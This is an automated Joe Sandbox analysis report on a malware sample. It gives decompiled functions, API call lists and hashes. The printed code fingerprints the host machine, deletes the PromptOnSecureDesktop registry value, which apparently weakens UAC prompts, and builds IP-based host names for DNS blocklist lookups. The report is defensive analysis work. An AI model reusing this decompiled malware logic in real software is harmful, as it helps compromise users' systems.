			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

localcfg, xrefs: 00401BE7
hi_id, xrefs: 00401BE5

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 006C994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 006C9986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 006C99A6
RegCloseKey.ADVAPI32(?), ref: 006C99AF

Strings

PromptOnSecureDesktop, xrefs: 006C9972, 006C9977, 006C9999, 006C99BC

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: c0b3460713bf7ad0b3ab79e2502fa5ffa1a017c1ee7819dd82a1a007d55a9c5d
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: 94F09CB2640208BBF7156754AC47FEF3A2DDB45B00F104079FA05F9091F6E59EA042BD

Uniqueness

Uniqueness Score: -1.00%

Function 006CDF55, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34threadsleepCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006CDF70
Sleep.KERNEL32(00000000,?,?,006CE56D,006C44CB), ref: 006CDF8B
GetCurrentThreadId.KERNEL32 ref: 006CDFA3

Strings

0t, xrefs: 006CDF56

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CurrentThread$Sleep
String ID: 0t
API String ID: 2068822874-1355922044
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: ae337f8c057405f5cc2ddd036d518fbae0f239f41a2c3e9e849aa218163e14fa
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 21F05E75604204AFD750AFA5BC84FF97FA6F708312F10807EE60EC2269C7B055858E6E

Uniqueness

Uniqueness Score: -1.00%

Function 006CEEA4, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 006CEEAE
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 006CEEC2
GetTickCount.KERNEL32 ref: 006CEEC8

Strings

0t, xrefs: 006CEEC8

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

~3u`y3up2u, xrefs: 00402693
time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~3u`y3up2u
API String ID: 1594361348-1403836930
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 006C28D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 006C28E3
gethostbyname.WS2_32(u6A), ref: 006C28EF

Strings

time_cfg, xrefs: 006C28D4
u6A, xrefs: 006C28D5, 006C28E2, 006C28EE

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 3e91aa48b82ab80adeb1a9b2eab412f0495594b7bf196724c643270411e2da07
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 29E082306050229FCB108B28F848FEA37A6EF0A330F108189F844C32A0C730ACC19B94

Uniqueness

Uniqueness Score: -1.00%

Function 006CD7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 006CD7BC
Sleep.KERNEL32(000003E8), ref: 006CD7C7
ExitProcess.KERNEL32 ref: 006CD7D3

Strings

p2u, xrefs: 006CD7BC

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: p2u
API String ID: 2012141568-1441537569
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: 44e359393b7a4188f7c2e1e81fdfa5387c43ff1a8edfc13ce0d0e4a0eb7017ca
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: B0C04830841208EBD7812BA4FC4DE8C3E7AEB08302B20C168B10A900B1CAB60A808A29

Uniqueness

Uniqueness Score: -1.00%

Function 006C69AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 006C69CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 006C6A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 006C6A23
CloseHandle.KERNEL32(000000FF), ref: 006C6BC1

Part of subcall function 006CEE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,006C1DB8,?), ref: 006CEE91
Part of subcall function 006CEE7E: HeapFree.KERNEL32(00000000), ref: 006CEE98

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: 5e65c3ef091e2ed437aa1ca2774763745f434f7331cb70d88adab61357b4a79a
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 0D710671900219AFDF108FA4CC84EFEBBBAFB04354F1045AAF515E62A0D7309E92DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00435FC5, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00436056
_memset.LIBCMT ref: 00436133
__invalid_parameter.LIBCMTD ref: 004361A9

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: 9b13035397dd73df703e201b4b103af3afae4d092ee7b31c61f7253b94457155
Instruction ID: 1e2314917b831140140afdd6a26253e8e5f8002ac663d03f86d641df91964488
Opcode Fuzzy Hash: 9b13035397dd73df703e201b4b103af3afae4d092ee7b31c61f7253b94457155
Instruction Fuzzy Hash: F161B03090020AEFCF14CF58C845AAE7371BB48328F21C25AE9296B3D1D7799951CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A931, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A9E5

Part of subcall function 00421450: __encode_pointer.LIBCMTD ref: 00421531

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction ID: 1983a4b6b314e9457e10fa178718f60dd65ade73e6e501462d64d121b5b165b9
Opcode Fuzzy Hash: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction Fuzzy Hash: 82412B71C09744D6CB11AB39DA5516EB7B0FF95344F10CB6BF88861222EB3889A5C34B

Uniqueness

Uniqueness Score: -1.00%

Function 0042EA00, Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0042EA1A
_$I10_OUTPUT.LIBCMTD ref: 0042EA42
_wcscpy_s.LIBCMTD ref: 0042EA82

Part of subcall function 0041DAE0: __invalid_parameter.LIBCMTD ref: 0041DB52

__invoke_watson_if_error.LIBCMTD ref: 0042EA8B

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: a8c4d8db5812687c1da15f1470539b89a22f59ef1d30e95bdecba4d4a309f728
Instruction ID: e7f0f6cf552ecc05259f807940454219e76a14186a64c5dc2b425594194a3845
Opcode Fuzzy Hash: a8c4d8db5812687c1da15f1470539b89a22f59ef1d30e95bdecba4d4a309f728
Instruction Fuzzy Hash: B02138B5A002089BCB04DF65DC82AEEB7B4AF8C704F148559F9056B382E634E911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C4168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 006C4194
GetLastError.KERNEL32 ref: 006C419E
WaitForSingleObject.KERNEL32(?,?), ref: 006C41AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 006C41C2

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: ec5ab060a5977e5fbb397ce3d2950b436cfbe7bb9ad0dcb19399c61c1b723f24
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: ED01D372511109ABDB02DF90ED84BEE7BBDFB18356F104065F901E2150EB709AA48BA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C41DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 006C4208
GetLastError.KERNEL32 ref: 006C4212
WaitForSingleObject.KERNEL32(?,?), ref: 006C4223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 006C4236

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 140c48481d8b4893f1af149878c7d8ae0d6ea196b097b9ae4b9aa152d3cbb41d
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: 4201E272511209ABDF01DF90ED85BEE7BADEB08396F108065F901E2150DB749A548BB6

Uniqueness

Uniqueness Score: -1.00%

Function 006CE01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 006CE04F

Strings

A, xrefs: 006CE068
A, xrefs: 006CE01F
A, xrefs: 006CE020, 006CE025

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: 76362bcc9506426065359d450592b733fdea13357275e8f5878f91a8f798b848
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 2AF04F717006029BCB308F15D884EE2B7BAFB15321B44866EE164C3260D3B5A9A4CB91

Uniqueness

Uniqueness Score: -1.00%

